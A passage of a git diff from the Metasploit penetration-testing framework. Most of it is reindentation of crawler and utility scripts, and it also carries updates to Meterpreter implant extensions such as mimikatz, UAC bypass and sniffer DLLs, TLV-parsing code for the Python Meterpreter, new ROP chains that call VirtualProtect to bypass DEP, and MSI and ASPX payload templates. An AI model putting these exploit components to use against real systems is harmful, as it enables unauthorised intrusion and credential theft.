GetoptLong::NO_ARGUMENT], - [ '--num', '-n', GetoptLong::NO_ARGUMENT], - [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], - [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], - [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], - [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], - [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] + [ '--help', '-h', GetoptLong::NO_ARGUMENT ], + [ '--file', '-f', GetoptLong::OPTIONAL_ARGUMENT], + [ '--all', '-s', GetoptLong::NO_ARGUMENT], + [ '--num', '-n', GetoptLong::NO_ARGUMENT], + [ '--alpha', '-a', GetoptLong::NO_ARGUMENT ], + [ '--alphamaj', '-A', GetoptLong::NO_ARGUMENT ], + [ '--alphanum', '-l', GetoptLong::NO_ARGUMENT ], + [ '--alphanummaj', '-L', GetoptLong::NO_ARGUMENT ], + [ '--custom', '-c', GetoptLong::OPTIONAL_ARGUMENT ] ) charset = nil filename = "stats_out" opts.each do |opt, arg| - case opt - when '--help' - help - when '--file' - filename = arg - when '--num' - charset = ch_num - when '--alpha' - charset = ch_alpha - when '--alphamaj' - charset = ch_alpha.capitalize - when '--alphanum' - charset = ch_alpha + ch_num - when '--alphanummaj' - charset = ch_alpha.capitalize + ch_num - when '--all' - charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp - when '--custom' - charset = arg - end + case opt + when '--help' + help + when '--file' + filename = arg + when '--num' + charset = ch_num + when '--alpha' + charset = ch_alpha + when '--alphamaj' + charset = ch_alpha.capitalize + when '--alphanum' + charset = ch_alpha + ch_num + when '--alphanummaj' + charset = ch_alpha.capitalize + ch_num + when '--all' + charset = ch_alpha + ch_alpha.capitalize + ch_num + ch_sp + when '--custom' + charset = arg + end end if charset == nil - help + help end fstat = File.open(filename, "w") charset.each_byte do |c| - fstat.write("1=proba1[#{c.to_s}]\n") - charset.each_byte do |tmp| - fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") - end + fstat.write("1=proba1[#{c.to_s}]\n") + charset.each_byte do |tmp| + fstat.write("1=proba2[#{c.to_s}*256+#{tmp.to_s}]\n") + end end fstat.close diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll index cebe096266..b8ccc6f20f 100755 Binary files a/data/meterpreter/elevator.x64.dll and b/data/meterpreter/elevator.x64.dll differ diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll index 03aebf5630..6bf61b60da 100755 Binary files a/data/meterpreter/elevator.x86.dll and b/data/meterpreter/elevator.x86.dll differ diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll index 624daeb93f..07e648b7af 100755 Binary files a/data/meterpreter/ext_server_espia.x64.dll and b/data/meterpreter/ext_server_espia.x64.dll differ diff --git a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll index 1505c8a963..1355e55082 100755 Binary files a/data/meterpreter/ext_server_espia.x86.dll and b/data/meterpreter/ext_server_espia.x86.dll differ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll index 157bd6f323..0262601a99 100755 Binary files a/data/meterpreter/ext_server_incognito.x64.dll and b/data/meterpreter/ext_server_incognito.x64.dll differ diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll index 8e8b50e59b..830a83fb8c 100755 Binary files a/data/meterpreter/ext_server_incognito.x86.dll and b/data/meterpreter/ext_server_incognito.x86.dll differ diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll index f4ad5e7664..a14a65b369 100755 Binary files a/data/meterpreter/ext_server_lanattacks.x64.dll and b/data/meterpreter/ext_server_lanattacks.x64.dll differ diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll index 1085fa4b23..bb178b592e 100755 Binary files a/data/meterpreter/ext_server_lanattacks.x86.dll and b/data/meterpreter/ext_server_lanattacks.x86.dll differ diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll index 5e09931d5b..a62edf68dc 100755 Binary files a/data/meterpreter/ext_server_mimikatz.x64.dll and b/data/meterpreter/ext_server_mimikatz.x64.dll differ diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll index ebc779e1db..bca5cc3611 100755 Binary files a/data/meterpreter/ext_server_mimikatz.x86.dll and b/data/meterpreter/ext_server_mimikatz.x86.dll differ diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll index 4e7190f925..2f10f3d45c 100755 Binary files a/data/meterpreter/ext_server_priv.x64.dll and b/data/meterpreter/ext_server_priv.x64.dll differ diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll index 9f9e042263..bb31216859 100755 Binary files a/data/meterpreter/ext_server_priv.x86.dll and b/data/meterpreter/ext_server_priv.x86.dll differ diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index 4977bf48b8..498e6649e0 100755 Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and b/data/meterpreter/ext_server_sniffer.x64.dll differ diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll index fde991fc66..c324791fe4 100755 Binary files a/data/meterpreter/ext_server_sniffer.x86.dll and b/data/meterpreter/ext_server_sniffer.x86.dll differ diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 98b1c235d0..b64b7278e4 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -149,6 +149,8 @@ TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433 TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440 TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441 TLV_TYPE_GATEWAY_STRING = TLV_META_TYPE_STRING | 1442 +TLV_TYPE_ROUTE_METRIC = TLV_META_TYPE_UINT | 1443 +TLV_TYPE_ADDR_TYPE = TLV_META_TYPE_UINT | 1444 # Socket TLV_TYPE_PEER_HOST = TLV_META_TYPE_STRING | 1500 @@ -273,6 +275,9 @@ ERROR_FAILURE = 1 # errors. ERROR_CONNECTION_ERROR = 10000 +WIN_AF_INET = 2 +WIN_AF_INET6 = 23 + def get_stat_buffer(path): si = os.stat(path) rdev = 0 @@ -290,6 +295,27 @@ def get_stat_buffer(path): st_buf += struct.pack('II', pkt[offset:offset+8]) + if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type): + val = pkt[offset+8:(offset+8+(tlv[0] - 8))] + if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING: + val = val.split('\x00', 1)[0] + elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT: + val = struct.unpack('>I', val)[0] + elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL: + val = bool(struct.unpack('b', val)[0]) + elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW: + pass + yield {'type':tlv[1], 'length':tlv[0], 'value':val} + offset += tlv[0] + raise StopIteration() + def tlv_pack(*args): if len(args) == 2: tlv = {'type':args[0], 'value':args[1]} @@ -271,7 +289,7 @@ class PythonMeterpreter(object): if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED: return ERROR_FAILURE preloadlib_methods = self.extension_functions.keys() - i = code.InteractiveInterpreter({'meterpreter':self, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) + i = code.InteractiveInterpreter({'meterpreter':self, 'packet_enum_tlvs':packet_enum_tlvs, 'packet_get_tlv':packet_get_tlv, 'tlv_pack':tlv_pack, 'STDProcess':STDProcess}) i.runcode(compile(data_tlv['value'], '', 'exec')) postloadlib_methods = self.extension_functions.keys() new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods) diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll index f59082ccd6..e94b10adb6 100755 Binary files a/data/meterpreter/metsrv.x64.dll and b/data/meterpreter/metsrv.x64.dll differ diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll index f9c4a33121..4c4060cefa 100755 Binary files a/data/meterpreter/metsrv.x86.dll and b/data/meterpreter/metsrv.x86.dll differ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll index 7a292782d7..8e31407346 100755 Binary files a/data/meterpreter/screenshot.x64.dll and b/data/meterpreter/screenshot.x64.dll differ diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll index bd34b6b56c..e879e968bb 100755 Binary files a/data/meterpreter/screenshot.x86.dll and b/data/meterpreter/screenshot.x86.dll differ diff --git a/data/msfcrawler/basic.rb b/data/msfcrawler/basic.rb index cf32fdf09f..467cf6807b 100755 --- a/data/msfcrawler/basic.rb +++ b/data/msfcrawler/basic.rb @@ -18,29 +18,29 @@ require 'uri' class CrawlerSimple < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - doc = Hpricot(result.body.to_s) - doc.search('a').each do |link| + doc = Hpricot(result.body.to_s) + doc.search('a').each do |link| - hr = link.attributes['href'] + hr = link.attributes['href'] - if hr and !hr.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',hr,request['uri'],nil) + if hr and !hr.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET',hr,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end + end end diff --git a/data/msfcrawler/forms.rb b/data/msfcrawler/forms.rb index 9be3852daf..e5cd23b556 100755 --- a/data/msfcrawler/forms.rb +++ b/data/msfcrawler/forms.rb @@ -18,60 +18,60 @@ require 'uri' class CrawlerForms < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - hr = '' - m = '' + hr = '' + m = '' - doc = Hpricot(result.body.to_s) - doc.search('form').each do |f| - hr = f.attributes['action'] + doc = Hpricot(result.body.to_s) + doc.search('form').each do |f| + hr = f.attributes['action'] - fname = f.attributes['name'] - if fname.empty? - fname = "NONE" - end + fname = f.attributes['name'] + if fname.empty? + fname = "NONE" + end - m = "GET" - if !f.attributes['method'].empty? - m = f.attributes['method'].upcase - end + m = "GET" + if !f.attributes['method'].empty? + m = f.attributes['method'].upcase + end - #puts "Parsing form name: #{fname} (#{m})" + #puts "Parsing form name: #{fname} (#{m})" - htmlform = Hpricot(f.inner_html) + htmlform = Hpricot(f.inner_html) - arrdata = [] + arrdata = [] - htmlform.search('input').each do |p| - #puts p.attributes['name'] - #puts p.attributes['type'] - #puts p.attributes['value'] + htmlform.search('input').each do |p| + #puts p.attributes['name'] + #puts p.attributes['type'] + #puts p.attributes['value'] - #raw_request has uri_encoding disabled as it encodes '='. - arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value'])) - end + #raw_request has uri_encoding disabled as it encodes '='. + arrdata << (p.attributes['name'] + "=" + Rex::Text.uri_encode(p.attributes['value'])) + end - data = arrdata.join("&").to_s + data = arrdata.join("&").to_s - begin - hreq = urltohash(m,hr,request['uri'],data) + begin + hreq = urltohash(m,hr,request['uri'],data) - hreq['ctype'] = 'application/x-www-form-urlencoded' + hreq['ctype'] = 'application/x-www-form-urlencoded' - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end end diff --git a/data/msfcrawler/frames.rb b/data/msfcrawler/frames.rb index 3284c9b9c2..c6d2cbe03a 100755 --- a/data/msfcrawler/frames.rb +++ b/data/msfcrawler/frames.rb @@ -14,28 +14,28 @@ require 'uri' class CrawlerFrames < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - doc = Hpricot(result.body.to_s) - doc.search('iframe').each do |ifra| + doc = Hpricot(result.body.to_s) + doc.search('iframe').each do |ifra| - ir = ifra.attributes['src'] + ir = ifra.attributes['src'] - if ir and !ir.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',ir,request['uri'],nil) + if ir and !ir.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET',ir,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Error" - end - end - end - end + rescue URI::InvalidURIError + #puts "Error" + end + end + end + end end diff --git a/data/msfcrawler/image.rb b/data/msfcrawler/image.rb index a02b7593be..0cc2aefb39 100755 --- a/data/msfcrawler/image.rb +++ b/data/msfcrawler/image.rb @@ -15,29 +15,29 @@ require 'uri' class CrawlerImage < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - doc = Hpricot(result.body.to_s) - doc.search('img').each do |i| + doc = Hpricot(result.body.to_s) + doc.search('img').each do |i| - im = i.attributes['src'] + im = i.attributes['src'] - if im and !im.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',im,request['uri'],nil) + if im and !im.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET',im,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{i[0]}" - end - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{i[0]}" + end + end + end + end end diff --git a/data/msfcrawler/link.rb b/data/msfcrawler/link.rb index e99fcfba8d..543fdad2c3 100755 --- a/data/msfcrawler/link.rb +++ b/data/msfcrawler/link.rb @@ -15,29 +15,29 @@ require 'uri' class CrawlerLink < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - doc = Hpricot(result.body.to_s) - doc.search('link').each do |link| + doc = Hpricot(result.body.to_s) + doc.search('link').each do |link| - hr = link.attributes['href'] + hr = link.attributes['href'] - if hr and !hr.match(/^(\#|javascript\:)/) - begin - hreq = urltohash('GET',hr,request['uri'],nil) + if hr and !hr.match(/^(\#|javascript\:)/) + begin + hreq = urltohash('GET',hr,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end + end end diff --git a/data/msfcrawler/objects.rb b/data/msfcrawler/objects.rb index 86b66d05be..68a53e2382 100755 --- a/data/msfcrawler/objects.rb +++ b/data/msfcrawler/objects.rb @@ -18,31 +18,31 @@ require 'uri' class CrawlerObjects < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - hr = '' - m = '' + hr = '' + m = '' - doc = Hpricot(result.body.to_s) - doc.search("//object/embed").each do |obj| + doc = Hpricot(result.body.to_s) + doc.search("//object/embed").each do |obj| - s = obj['src'] + s = obj['src'] - begin - hreq = urltohash('GET',s,request['uri'],nil) + begin + hreq = urltohash('GET',s,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end end diff --git a/data/msfcrawler/scripts.rb b/data/msfcrawler/scripts.rb index e5a043f400..3789842344 100755 --- a/data/msfcrawler/scripts.rb +++ b/data/msfcrawler/scripts.rb @@ -18,31 +18,31 @@ require 'uri' class CrawlerScripts < BaseParser - def parse(request,result) + def parse(request,result) - if !result['Content-Type'].include? "text/html" - return - end + if !result['Content-Type'].include? "text/html" + return + end - hr = '' - m = '' + hr = '' + m = '' - doc = Hpricot(result.body.to_s) - doc.search("//script").each do |obj| + doc = Hpricot(result.body.to_s) + doc.search("//script").each do |obj| - s = obj['src'] + s = obj['src'] - begin - hreq = urltohash('GET',s,request['uri'],nil) + begin + hreq = urltohash('GET',s,request['uri'],nil) - insertnewpath(hreq) + insertnewpath(hreq) - rescue URI::InvalidURIError - #puts "Parse error" - #puts "Error: #{link[0]}" - end - end - end + rescue URI::InvalidURIError + #puts "Parse error" + #puts "Error: #{link[0]}" + end + end + end end diff --git a/data/post/bypassuac-x64.dll b/data/post/bypassuac-x64.dll index dbd56f0570..f3404356e4 100644 Binary files a/data/post/bypassuac-x64.dll and b/data/post/bypassuac-x64.dll differ diff --git a/data/post/bypassuac-x86.dll b/data/post/bypassuac-x86.dll index b6dadbba00..1a7adcab6f 100644 Binary files a/data/post/bypassuac-x86.dll and b/data/post/bypassuac-x86.dll differ diff --git a/data/ropdb/hxds.xml b/data/ropdb/hxds.xml new file mode 100644 index 0000000000..5531d05c06 --- /dev/null +++ b/data/ropdb/hxds.xml @@ -0,0 +1,66 @@ + + + + + 2007 + + + + POP EAX # RETN + ptr to VirtualProtect() + POP EBP # RETN + skip 4 bytes + POP EBX # RETN + Safe size to NEG + XCHG EAX, EBX # RETN + NEG EAX # RETN + XCHG EAX, EBX # RETN + POP EDX # RETN + 0x00000040 + XCHG EAX, EDX # RETN + NEG EAX # RETN + XCHG EAX, EDX # RETN + POP ECX # RETN + Writable location + POP EDI # RETN + RETN (ROP NOP) + POP ESI # RETN + JMP [EAX] + PUSHAD # RETN + ptr to 'jmp esp' + + + + + + 2010 + + + + POP EBP # RETN + skip 4 bytes + POP EBX # RETN + Safe size to NEG + XCHG EAX, EBX # RETN + NEG EAX # POP ESI # RETN + JUNK + XCHG EAX, EBX # RETN + POP EDX # RETN + 0x00000040 + XCHG EAX, EDX # RETN + NEG EAX # POP ESI # RETN + JUNK + XCHG EAX, EDX # RETN + POP ECX # RETN + Writable location + POP EDI # RETN + RETN (ROP NOP) + POP ESI # RETN + JMP [EAX] + POP EAX # RETN + ptr to VirtualProtect() + PUSHAD # RETN + ptr to 'jmp esp' + + + \ No newline at end of file diff --git a/data/ropdb/java.xml b/data/ropdb/java.xml index 1985d5c4d2..3a3959ce84 100644 --- a/data/ropdb/java.xml +++ b/data/ropdb/java.xml @@ -9,7 +9,7 @@ POP EBP # RETN skip 4 bytes POP EAX # RETN - 0x00000201 + 0x00000201 NEG EAX # RETN POP EBX # RETN diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml index 13b85cedec..2a5416d0c2 100644 --- a/data/ropdb/msvcrt.xml +++ b/data/ropdb/msvcrt.xml @@ -7,12 +7,21 @@ + POP EAX # RETN + 0xFFFFFBFF -> ebx + NEG EAX # POP EBP # RETN + JUNK + POP EBX # RETN + Writable location + XCHG EAX, EBX # ADD BYTE [EAX], AL # RETN + POP EDX # RETN + 0xFFFFFFC0-> edx + XCHG EAX, EDX # RETN + NEG EAX # POP EBX # RETN + JUNK + XCHG EAX, EDX # RETN POP EBP # RETN skip 4 bytes - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx POP ECX # RETN Writable location POP EDI # RETN @@ -33,23 +42,29 @@ - POP EAX # RETN - ptr to VirtualProtect() + POP EAX # RETN + VirtualProtect() MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - Filler + JUNK XCHG EAX,ESI # RETN - POP EBP # RETN - PUSH ESP # RETN - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP EAX # RETN - nop + POP EBP # RETN + ptr to 'push esp # ret' + POP EAX # RETN + EAX + SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) + POP EBX, RET + .data + XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN + POP ECX # RETN + W pointer (lpOldProtect) (-> ecx) + POP EDI # RETN + ROP NOP (-> edi) + POP EAX # RETN + EAX + SUB EAX, 03c0940f + XCHG EAX,EDX # RETN + POP EAX # RETN + NOP PUSHAD # ADD AL,0EF # RETN diff --git a/data/sounds/aiff2wav.rb b/data/sounds/aiff2wav.rb index 76c323dd43..b2020875cd 100755 --- a/data/sounds/aiff2wav.rb +++ b/data/sounds/aiff2wav.rb @@ -1,7 +1,7 @@ #!/usr/bin/env ruby Dir.open(".").entries.grep(/.aiff$/).each do |inp| - out = inp.gsub(".aiff", ".wav") - system("sox #{inp} #{out}") + out = inp.gsub(".aiff", ".wav") + system("sox #{inp} #{out}") end diff --git a/data/sounds/gensounds_mac.rb b/data/sounds/gensounds_mac.rb index ae8516fd57..dc63ac1ba5 100755 --- a/data/sounds/gensounds_mac.rb +++ b/data/sounds/gensounds_mac.rb @@ -1,34 +1,34 @@ sounds = { - 'num0' => '0', - 'num1' => '1', - 'num2' => '2', - 'num3' => '3', - 'num4' => '4', - 'num5' => '5', - 'num6' => '6', - 'num7' => '7', - 'num8' => '8', - 'num9' => '9', - 'closed' => 'closed', - 'opened' => 'opened', - 'plugin_load' => 'meta sploit sound plugin has been loaded', - 'plugin_unload' => 'sound plugin has been unloaded', - 'session' => 'session', - 'address' => 'address', - 'port' => 'port', - 'dot' => 'dot', - 'session_open_meterpreter' => 'a new meterp reter session has been opened', - 'session_open_shell' => 'a new command shell session has been opened', - 'session_open_vnc' => 'a new VNC session has been opened' + 'num0' => '0', + 'num1' => '1', + 'num2' => '2', + 'num3' => '3', + 'num4' => '4', + 'num5' => '5', + 'num6' => '6', + 'num7' => '7', + 'num8' => '8', + 'num9' => '9', + 'closed' => 'closed', + 'opened' => 'opened', + 'plugin_load' => 'meta sploit sound plugin has been loaded', + 'plugin_unload' => 'sound plugin has been unloaded', + 'session' => 'session', + 'address' => 'address', + 'port' => 'port', + 'dot' => 'dot', + 'session_open_meterpreter' => 'a new meterp reter session has been opened', + 'session_open_shell' => 'a new command shell session has been opened', + 'session_open_vnc' => 'a new VNC session has been opened' } voice_name = 'Zarvox' def create_aiff(voice, file,text) - system("say -v #{voice} -o #{file}.aiff #{text}") + system("say -v #{voice} -o #{file}.aiff #{text}") end sounds.keys.each do |k| - create_aiff(voice_name, k, sounds[k]) + create_aiff(voice_name, k, sounds[k]) end diff --git a/data/templates/scripts/to_mem.aspx.template b/data/templates/scripts/to_mem.aspx.template new file mode 100644 index 0000000000..7bb9bfbd12 --- /dev/null +++ b/data/templates/scripts/to_mem.aspx.template @@ -0,0 +1,21 @@ +<%%@ Page Language="C#" AutoEventWireup="true" %%> +<%%@ Import Namespace="System.IO" %%> + diff --git a/data/templates/src/msi/.gitignore b/data/templates/src/msi/.gitignore new file mode 100644 index 0000000000..f0e6d7ce53 --- /dev/null +++ b/data/templates/src/msi/.gitignore @@ -0,0 +1,3 @@ +*.msi +*.wixobj +*.wixpdb \ No newline at end of file diff --git a/data/templates/src/msi/COMPILING.txt b/data/templates/src/msi/COMPILING.txt new file mode 100644 index 0000000000..08a7375b52 --- /dev/null +++ b/data/templates/src/msi/COMPILING.txt @@ -0,0 +1,7 @@ +Compile using WiX: http://wixtoolset.org + +Recompile with a larger buffer file to increase the available +buffer size for larger payloads if required. + +candle template_x86_windows.wxs +light template_x86_windows.wixobj diff --git a/data/templates/src/msi/buffer b/data/templates/src/msi/buffer new file mode 100644 index 0000000000..c294c6b262 --- /dev/null +++ b/data/templates/src/msi/buffer @@ -0,0 +1 @@ +__PAYLOAD__AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA